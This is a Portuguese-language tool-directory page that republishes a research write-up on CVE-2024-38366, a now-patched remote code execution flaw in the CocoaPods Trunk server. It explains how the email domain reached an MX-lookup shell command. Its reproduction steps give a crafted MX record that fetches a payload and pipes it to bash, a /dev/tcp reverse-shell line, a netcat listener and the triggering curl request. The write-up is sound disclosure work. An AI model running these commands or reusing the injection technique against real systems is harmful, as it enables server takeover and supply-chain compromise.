Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CocoaPods-RCE_CVE-2024-38366 — Vulnerabilidade RCE no CocoaPods CVE-2024-38366 | Kitploit
Ferramentas/GitHubGitHub/reefspek/cocoapods-rce_cve-2024-38366
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleSegurança da Cadeia de SuprimentosFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHub
reefspek/cocoapods-rce_cve-2024-38366

CocoaPods-RCE_CVE-2024-38366

Vulnerabilidade RCE no CocoaPods CVE-2024-38366

Ver Repositório
14há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CocoaPods-RCE

Este repositório inclui um pouco mais de aprofundamento no processo de pesquisa e nos pensamentos por trás da vulnerabilidade de RCE encontrada ao pesquisar e comprometer o CocoaPods Package Manager.

A publicação da pesquisa no blog pode ser lida aqui: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods

Contexto da Pesquisa

O Servidor Trunk do CocoaPods atua como um repositório centralizado e plataforma de distribuição para CocoaPods, bibliotecas essenciais e frameworks usados no ecossistema Apple, particularmente no desenvolvimento iOS e macOS. O seu propósito principal é facilitar a partilha e gestão contínua desses recursos de código aberto.

O processo de registo de desenvolvedores junto do Servidor Trunk do CocoaPods consiste nos seguintes passos para garantir a segurança da plataforma:

  • Os desenvolvedores começam por fornecer o seu e-mail, nome e descrição da conta.
  • O servidor verifica então a singularidade do e-mail e se este segue o formato correto de acordo com o padrão RFC822 (usando expressões regulares).
  • Examina os registos Mail Exchanger (MX) do domínio do endereço de e-mail para confirmar a validade do e-mail.
  • Se tudo estiver correto, a conta do desenvolvedor é criada, permitindo-lhe aceder ao servidor Trunk e gerir pacotes CocoaPod próprios.

Versões Testadas

A versão mais recente do trunk.cocoapods.org (branch master) foi testada e validada no ambiente de produção no momento da pesquisa. A vulnerabilidade foi entretanto corrigida e já não é explorável.

Causa Raiz

A causa raiz da vulnerabilidade é a verificação insuficiente da etapa de validação do domínio do endereço de e-mail (durante o processo de registo do desenvolvedor) e a execução insegura de comandos. Especificamente, um atacante pode manipular a entrada de forma a contornar a validação do registo Mail Exchanger (MX) do domínio, levando à capacidade de injetar e executar comandos arbitrários do SO no Servidor Trunk.
Isso representa uma ameaça grave para a segurança da plataforma, pois permite que indivíduos não autorizados possam potencialmente comprometer a integridade do servidor, a confidencialidade dos dados armazenados e interromper as suas operações.

Fluxo de Código

APP/CONTROLLERS/APP_CONTROLLER.RB

O ficheiro App Controller define os endpoints da API do Servidor Trunk, incluindo o SessionsContoller, servido através do caminho /api/v1/sessions.


APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB

Para gerar uma nova sessão, o ficheiro Session Controller serve o endpoint da API HTTP POST – /api/v1/sessions.

O endpoint processa os detalhes de registo fornecidos pelo utilizador, incluindo os parâmetros “email”, “name” e “description”. Em seguida, chama o método Owner.find_or_initialize_by_email_and_name.

A chamada da função inclui os valores dos parâmetros “email” e “name”.


APP/MODELS/OWNER.RB

O ficheiro Owner Model define o método find_or_initialize_by_email_and_name que verifica se o e-mail fornecido existe. Se não existir, cria um novo objeto Owner usando os parâmetros acima mencionados.

Assim que o objeto é criado e antes de o armazenar na base de dados, o framework Sequel executa o método validate. Este método inclui múltiplas validações, encontradas no pacote RFC-822.

Focámo-nos na execução do método validates_mx_record, que utiliza o pacote RFC-822.


RFC-822/LIB/RFC822.RB

A biblioteca implementa o método mx_records para verificar se o domínio fornecido é válido. Além disso, implementa uma validação de responsividade do registo MX usando o comando host.

O método primeiro compara o endereço de e-mail completo com o padrão de Regex de e-mail definido – verifica se o e-mail fornecido corresponde ao padrão. Se o padrão não corresponder, o método retorna vazio e não prossegue para as verificações ativas através do comando host.

O método mx_records chama então o método raw_mx_records, que manipula o valor do e-mail – obtém apenas a parte do domínio (tudo após o último ‘@’) e chama o método host_mx usando o domínio extraído como valor do parâmetro.

O método host_mx executa um comando arbitrário do SO, concatenando-o com o domínio do e-mail fornecido pelo utilizador. O comando final executado é o seguinte:
/usr/bin/env host -t MX <DOMAIN>

Exploração

O OBSTÁCULO

Para iniciar a exploração da vulnerabilidade, fizemos um pedido HTTP POST ao endpoint da API /api/v1/sessions. No corpo do pedido, fornecemos uma entrada manipulada.

O principal objetivo era acionar o processo de validação do registo MX, o que acabaria por levar à avaliação e execução da nossa entrada maliciosa, resultando na execução de comandos do SO no servidor trunk.

Para atingir o nosso objetivo e estabelecer um reverse shell totalmente interativo, tivemos de superar certos desafios:

  • Conversão para minúsculas: O primeiro desafio decorreu do facto de o endereço de e-mail fornecido pelo utilizador ser convertido para minúsculas usando o método owner.rb/normalize_email. Como resultado, um payload simples como reef<span>@evasec.io|curl{IFS}evasec.io não seria eficaz, pois o servidor processá-lo-ia em minúsculas.
    Nota: O IFS seria convertido para ifs e não seria usado como separador.
  • Validação do padrão Regex: As funções da biblioteca RFC822 contêm validação usando um padrão regex definido. Esta validação apresentou um obstáculo significativo, pois um payload como reef<span>@evasec.io|{curl,evasec.io} não funcionaria devido à presença dos seguintes caracteres que a biblioteca eliminaria:
    • " " (espaço)
    • "
    • ()
    • .
    • ,
    • <>
    • @
    • []

O AVANÇO

Para finalizar a nossa missão, precisámos de ultrapassar o obstáculo com que nos deparámos.
Descobrimos que o comando /usr/bin/env host -t MX <DOMAIN> fornece uma saída que podemos controlar, permitindo-nos contornar esses desafios.
A saída poderia ser aproveitada ao canalizá-la para um comando bash, criando uma oportunidade para execução de código.
Por exemplo:

/usr/bin/env host -t MX <DOMAIN> | bash

Manipulámos um registo MX no nosso domínio, gerido via Route53 na AWS. O registo MX contém a seguinte string válida:

10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com


Alvo: O payload criado foi definido para ser executado durante a validação do domínio através do comando host.

EXPLICAÇÃO DA EXPLORAÇÃO EM ALTO NÍVEL

Para iniciar a Execução Remota de Código, invocámos o endpoint da API POST /api/v1/sessions com o seguinte payload:
anything<span>@owned.domain|bash
Sendo que o domínio "owned.domain" representa o registo MX maliciosamente criado, conforme descrito acima.

PASSOS PARA REPRODUZIR

  1. Prepare o servidor de payload: configure um servidor web para servir o ficheiro payload.txt, que contém o código a ser executado no servidor Trunk.

    • Por exemplo:
      sh -i >& /dev/tcp/SERVER/1337 0>&1
  2. Crie um registo MX malicioso: gere um novo registo MX que inclua um payload concebido para obter o payload preparado no passo 1 e executá-lo.

    • Por exemplo:
      10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.com
  3. Configure um listener de reverse shell: inicie um listener de reverse shell, como o netcat (nc), numa porta publicamente acessível.

    • Por exemplo:
      nc -lvp 1337
  4. Execute o reverse shell: envie um pedido HTTP para acionar a execução do reverse shell, o que pode ser feito usando um comando curl.

    • curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'

EXECUÇÃO

VÍDEO COMPLETO DA EXPLORAÇÃO

exploit

Impacto da Exploração Bem-sucedida

Na nossa pesquisa, identificámos uma vulnerabilidade de segurança crítica no Servidor Trunk do CocoaPods que permite a execução de comandos arbitrários do sistema operativo (Execução Remota de Código totalmente interativa).

Se um ator de ameaças não autorizado comprometer o servidor, ele ou ela poderá potencialmente introduzir código malicioso em bibliotecas amplamente utilizadas. Isto poderia levar a graves vulnerabilidades de segurança em inúmeras aplicações iOS e macOS que dependem desses CocoaPods comprometidos.

Além disso, o ator de ameaças poderia manipular especificações de pods, interromper a distribuição de bibliotecas legítimas ou causar perturbações generalizadas no ecossistema CocoaPods.

Baixar ferramenta